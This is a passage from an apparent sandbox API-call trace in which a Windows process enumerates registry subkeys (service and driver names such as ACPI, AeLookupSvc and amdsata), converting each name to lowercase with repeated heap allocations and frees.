BaseAddress=0x21f2eb0) returned 1 [0232.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1928, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0232.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.795] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0232.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0232.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.795] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0232.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1928, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0232.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.796] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.796] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.796] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.796] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0232.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.797] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.798] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0232.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.799] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0232.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, 